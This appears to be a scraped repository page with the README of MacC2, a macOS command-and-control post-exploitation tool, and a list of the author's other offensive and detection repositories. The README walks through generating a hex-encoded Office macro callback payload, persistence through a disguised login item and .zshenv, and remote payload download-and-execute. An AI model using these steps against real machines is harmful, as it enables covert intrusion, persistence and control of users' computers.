• Stars
    star
    128
  • Rank 281,044 (Top 6 %)
  • Language
    Python
  • License
    BSD 3-Clause "New...
  • Created about 4 years ago
  • Updated over 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

python-based Mac Command and Control that uses internal API calls instead of command line utilities. Author: Cedric Owens

MacC2

MacC2 is a macOS post exploitation tool written in python that uses Objective C calls or python libraries as opposed to command line executions. The client is written in python2, which though deprecated is still being shipped with base Big Sur installs. It is possible down the road that Apple will remove python2 (or python altogether) from base macOS installs but as of Nov 2020 this is not the case. Apple plans to eventually remove scripting runtimes from base macOS installs, but it is unknown when that will happen since Big Sur includes python.


Latest Addition: May 2021

  • Added the MS Office Sandbox escape technique discovered by Madhav Bhatt in his blog post at: https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c.

  • Implementation in MacC2: When you get a callback from the MS Office macro payload (which will be sandboxed) and you run the persist command, MacC2 will drop two files to disk: $HOME/~$IT-Provision.zip and $HOME/Library/WebKit/~$IT-Provision.py. The .zip contains a .zshenv file, which runs the python payload at /Library/WebKit/$IT-Provision.py. Once the system is rebooted, the .zip login item will automatically be extracted and drop the .zshenv file to the user's home directory, which will execute when a new terminal window is opened.

You can set up the server locally or you can use the docker setup I have included in this repo. Instructions below:


Instructions for Running Using Docker:

If you do not already have docker set up:

  1. chmod +x install_docker_linux.sh
  2. sudo ./install_docker_linux.sh

Next:

  1. chmod +x setup.sh
  2. sudo ./setup.sh (this will create an untrusted ssl cert and key, generate a macro file for the server and port you specify (will drop the macro in macro.txt locally), build macc2-docker, and run the MacC2 server inside of macc2-container in interactive mode)
  3. when prompted, enter the IP/hostname of the MacC2 server
    Image
  4. when prompted, enter the port that the MacC2 server will listen on
    Image
  5. A hex encoded macro payload will be dropped locally in a file named macro.txt that is configured to connect to your MacC2 server on the hostname/IP and port you specified.
    Image
  6. Docker will install the aiohttp python3 dependency, build macc2-docker, and will run the MacC2 Server in a container. Once finished the MacC2 server will listen on the specified port:
    Image
  7. You can run docker ps and validate that the MacC2 server is running
  8. The setup script also sets up a shared mount between the container and the host. On the host, you can browse to /var/lib/docker/volumes/macc2/_data in order to access MacC2_client.py as well as macro.txt which you will need to port over to the target host.

You can then either copy the MacC2_client.py file over to the client and execute for a callback or you can import the macro.txt macro into an Office document and "Enable Macros" when opening for a callback on the client.


Running Locally (Without Using Docker)

If you opt to not use docker, you can set up the server locally using the steps below:

Since the MacC2 server uses the aiohttp library for communications, you will need to install aiohttp first:

pip install aiohttp (if you encounter an error ensure that pip is pointing to python3, since aiohttp is a python3 library):

python3 -m pip install --upgrade --force pip

On C2 Server:

  1. Set up ssl (note: use a key size of at least 2048)

If you do not have your own cert, you can use the following to generate a self signed cert:

  • 1: openssl req -new -newkey rsa:2048 -nodes -out ca.csr -keyout ca.key

  • 2: openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem

note: the server script is hard-coded to use ca.pem and ca.key, so keep these names the same for now, or change the code appropriately

  1. Use macro_generator.py to create the MacC2 scripts with the server's IP/domain and port. macro_generator.py also builds a macro (macro.txt) that uses hex encoding to run MacC2. You can copy and paste the contents of macro.text into an MS Office document:

Usage:

python3 macro_generatory.py -s [C2 Server IP/domain] -p [C2 Server Port]

-Example:

Image

  1. Start the generated MacC2_server.py script to listen for a connection:

Image

On Client Side (the target mac host):

  1. If you desire to not be limited by the mac sandbox and want more functionality, you may opt to copy the MacC2_client.py script to the client (assuming you have access).

  2. On the client, run the MacC2_client.py script: python MacC2_client.py

Image

  1. On the server, you will see an inbound connection. Example below:

Image


Using MacC2

After you receive a connection, you can use the "help" command on the server to get a list of built-in commands available. You can enter one of these commands. After entering a command and pressing Enter, the command is queued up (allows you to enter multiple commands to be executed by the client). Once you type "done" and hit Enter, all of the queued commands will be sent to the client for execution.

Image

Each command is pretty straightforward. The command options that are not OPSEC safe (i.e., command line executions or cause pop ups) are also flagged in red from the help menu.

Functions of Note:

  • You can generate a Mythic C2 JXA .js payload, download it, and host it on a remote server. Then you can provide the url to the hosted file to MacC2 using the runjxa command to have MacC2 download and execute the Mythic .JXA payload:

>>> runjxa <url_to_JXA_.js_payload>

Note: If you gain access using the MS Office macro, then the persistence method will not work due to sandboxing. The files will still be dropped and the login item will still be inserted but upon reboot the quarantine attribute prevents the persistence from executing


Additional Info

The MacC2 server uses aiohttp to easily allow for asynchronous web comms. To ensure that only MacC2 agents can access the server, the server includes the following:

  • A specific user agent string check (if a request fails this check it receives a 404 Not Found)

  • A specific token (if a request failes this check it receives a 404 Not Found)

The operator flow after setting everything up and getting a callback is:

  • view help menu for command options

  • enter command name and press enter for each command you want to run

  • enter "done" and press enter to have the queued commands sent to the client for execution

  • NOTE: The default sleep is 10 seconds. The operator can change that by using the sleep [numberofseconds] command.

  • NOTE: The MacC2 server currently does not have a way to conveniently switch between sessions when multiple clients connect. Instead the server auto switches between sessions after each command executed. So the operator will need to pay attention to the IP in the connection to know which session is being interacted with.


Macro Info

MacC2 includes the MS Office sandbox escape technique identified by Madhav Bhatt in his blog post at: https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c. However, if using the MS Office macro payload, the system must reboot in order for the escape to take effect. Functions that DO work from the sandbox include:

  • runjxa

  • systeminfo

  • persist: MacC2 will drop two files to disk: /$IT-Provision.zip and /Library/WebKit/$IT-Provision.py. The .zip contains a .zshenv file, which runs the python payload at /Library/WebKit/$IT-Provision.py. Once the system is rebooted, the .zip login item will automatically be extracted and drop the .zshenv file to the user's home directory, which will execute when a new terminal window is opened.

  • addresses

  • prompt

  • clipboard

  • shell (not OPSEC safe)

  • spawn (not OPSEC safe)

  • cd and listdir (sandbox prevents access for most directories but you can see the root '/' directory and potentially others as well)


DISCLAIMER

This is for academic purposes and should not be used maliciously or without the appropriate authorizations and approvals.

More Repositories

1

SwiftBelt

A macOS enumeration tool inspired by harmjoy's Windows-based Seatbelt enumeration tool. Author: Cedric Owens
Swift
301
star
2

C2-JARM

A list of JARM hashes for different ssl implementations used by some C2/red team tools.
129
star
3

MacShellSwift

Proof of concept MacOS post exploitation tool written in Swift. Designed as a POC for blue teams to build macOS detections. Author: Cedric Owens
Swift
113
star
4

Swift-Attack

Unit tests for blue teams to aid with building detections for some common macOS post exploitation methods.
Swift
101
star
5

EntitlementCheck

Scripts (python3 and Swift) for macOS to recursively check /Applications and also check /usr/local/bin, /usr/bin, and /usr/sbin for binaries with problematic/interesting entitlements. Also checks for hardened runtime enablement
Swift
90
star
6

Inject_Dylib

Swift code to programmatically perform dylib injection
Swift
49
star
7

Mod_Rewrite_Automation

Scripts to automate standing up apache2 with mod_rewrite in front of C2 servers.
Shell
47
star
8

Mythic-Macro-Generator

Python3 script to generate a macro to launch a Mythic payload. Author: Cedric Owens
Python
43
star
9

SwiftBelt-JXA

JXA implementation of some SwiftBelt functions. Author: Cedric Owens
JavaScript
42
star
10

Spotlight-Enum-Kit

JXA and swift code that can perform some macOS situational awareness without generating TCC prompts.
Swift
36
star
11

Persistent-Swift

A Swift port of some of the original PersistentJXA projects by D00MFist. Original PersistentJXA repo: https://github.com/D00MFist/PersistentJXA
Swift
31
star
12

EvilOSX_MacroGenerator

Python3 script to generate Office macros for the EvilOSX framework. Author: Cedric Owens
Python
26
star
13

JXA-Runner

Swift code to programmatically execute local or hosted JXA payloads from Terminal without using the on-disk osascript binary.
Swift
23
star
14

Presentations

Collection of Slides From My Conference Talks
21
star
15

aws_key_triage_tool

Script to automate initial triage/enumeration on a set of aws keys in an input file.
Python
20
star
16

aws-cli-notes

A combined list of helpful awscli commands from Scott Piper's flaws.cloud exercise as well as from Beau Bullock's Breaching the Cloud Training
19
star
17

Dump-Chrome-Cookies

Repo with a modified version of CookieBro and scripts to leverage it to dump Chrome cookies
JavaScript
19
star
18

Terraform_DigitalOcean_Scripts

Scripts to automate standing up C2 infra with firewall settings inside of DigitalOcean.
Shell
17
star
19

Helpful_aws-scripts

python3 scripts to help with aws triage needs
Python
17
star
20

JXA-RemoveQuarantine

JXA script based on research by Jeff Johnson on leveraging TextEdit to remove quarantine attributes on files. Jeff's original research is here: https://lapcatsoftware.com/articles/sandbox-escape.html
JavaScript
17
star
21

Dylib_Runner

Swift code to run a dylib on disk
Swift
16
star
22

C2_Cradle

Tool to download, install, and run macOS capable command & control servers (i.e., C2s with macOS payloads/clients) as docker containers from a list of options. This is helpful for automating C2 server setup.
Shell
16
star
23

docker-arsenal

Spins up a docker container with several useful tools for offensive security in macOS/cloud environments. Also installs the needed dependencies for each tool/utility during docker setup.
Dockerfile
16
star
24

keygrabber

Automation for grabbing keys from a Linux host. Useful during red team exercises to quickly help assess what access to a Linux host can lead to.
Python
16
star
25

Linode_Terraform_Scripts

Scripts to automate standing up hosts in Linode
Shell
15
star
26

macOS-browserhist-parser

Swift code to parse the quarantine history database, Chrome history database, Safari history database, and Firefox history database on macOS.
Swift
14
star
27

SimpleC2_Server

POC for a basic C2 server using the python aiohttp framework
Python
12
star
28

HELK-automation

Scripts to automate HELK server standup in Digital Ocean and filebeat on macOS to help automation of sending endpoint security logs from macOS hosts into HELK for building detections content
Shell
12
star
29

Gitlab-Searcher

python3 script that pulls gitlab data of interest using a gitlab personal access token
Python
12
star
30

Add-To-TCC-DB

A JXA script that leverages sqlite3 API calls to add items to the user's TCC database at: ~/Library/Application Support/com.apple.TCC/TCC.db
JavaScript
11
star
31

Rolling_Op_Metrics

Skeleton spreadsheet to track rolling red team operation metrics.
11
star
32

ioreg-and-sysctl-examples

Examples of programmatically interacting with ioreg and sysctl to query system info
Swift
9
star
33

Jenkins_Hunter_CSharp

C# implementation of my original Jenkins Hunter script (orig in python). It uses threading to search for unauthenticated Jenkins instances on ports 8080, 80, and 443. Author: Cedric Owens
C#
9
star
34

JXA-Firefox

JXA Scripts for extracting data from Firefox
JavaScript
8
star
35

zshrc-persist-JXA

JXA script to add a macho binary to ~/.zshrc for persistence
JavaScript
8
star
36

PICT-Swift

A Swift (and slightly modified) version of Thomas Reed's PICT (Post Infection Collection Toolkit)
Swift
8
star
37

GoBelt

Golang programmatically invoking my SwiftBelt-JXA macOS system enumerator project (Golang running SwiftBelt-JXA via cgo)
Go
8
star
38

AV_Enum_JXA

JXA code to enumerate security software on a macOS host
JavaScript
7
star
39

LocalAdminChecker

Threaded C# code that uses wmic to quickly check a host's /24 subnet for other hosts the current user has local admin access to. Author: Cedric Owens
C#
7
star
40

SSH-Password-Sprayer

python3 script to spray a username and password against a network range. Author: Cedric Owens
Python
7
star
41

okta-sprayer

Python3 Script to perform a password spray against an okta instance
Python
6
star
42

Metadata_URLs

List of some cloud metadata URLs that return interesting info
6
star
43

dns-TXT-exfil-test

Simple client/server in golang to help with testing data exfil detections over DNS TXT records
Go
5
star
44

find_chrome_tab

For those of us with too many Chrome tabs open on macOS 😳...this is a simple applescript to search all tab titles and urls across all Chrome browser windows for a match string and if found it sets that as the active tab. 😎
5
star
45

kube-unauth-exec-hunter

Python3 script to check a subnet range for kubernetes nodes allowing system:anonymous API command access. Author: Cedric Owens
Python
5
star
46

PhishDifficultyScorer

python3 script that rates the difficulty of a given phishing exercise. Author: Cedric Owens
Python
5
star
47

gitleaks-wrapper

Simple wrapper around gitleaks to enumerate publicly facing repos belonging to an org and then run gitleaks against each in search of exposed secrets/keys.
Python
5
star
48

JAMF_Runner

A wrapper around the on disk jamf binary (for JAMF managed macOS hosts). Useful for unit testing detections of offensive jamf host-based commands.
Swift
5
star
49

JenkinsHunter

python3 script that searches a network range for instances of unauthenticated Jenkins hosts. Author: Cedric Owens
Python
4
star
50

dns-exfil-test

Go
4
star
51

chromedp-remotedebugger-example

An example of how to use chromedp to run Chrome headless with the remote debugger port programmatically (is still a wrapper around the Chrome binary)
Go
4
star
52

SituationalAwarenessTool

C# tool that uses .net to provide situational awareness on a Windows host.
C#
4
star
53

modified-tcc-clickjack

modified version of Ron Masas's TCC-Clickjack Swift project
Swift
3
star
54

Page-Finder

python3 script that searches a network range for hosts hosting interesting pages that an attacker can leverage. Author: Cedric Owens
Python
3
star
55

pritunl-vpn-setup-automation

Bash + terraform scripts to automate standing up pritunl VPN servers.
Shell
2
star
56

AD-Threaded-Port-Sweeper

C# Code to dump all AD computers and then quickly sweep for a given port.
C#
2
star
57

DGA-test

simple code to help with DGA nxdomain response testing
Go
1
star
58

http-uri-test

Go
1
star
59

SlackXtract

Swift code to extract available slack information from macOS hosts. Automates steps identified in Cody Thomas' post: https://posts.specterops.io/abusing-slack-for-offensive-operations-2343237b9282
Swift
1
star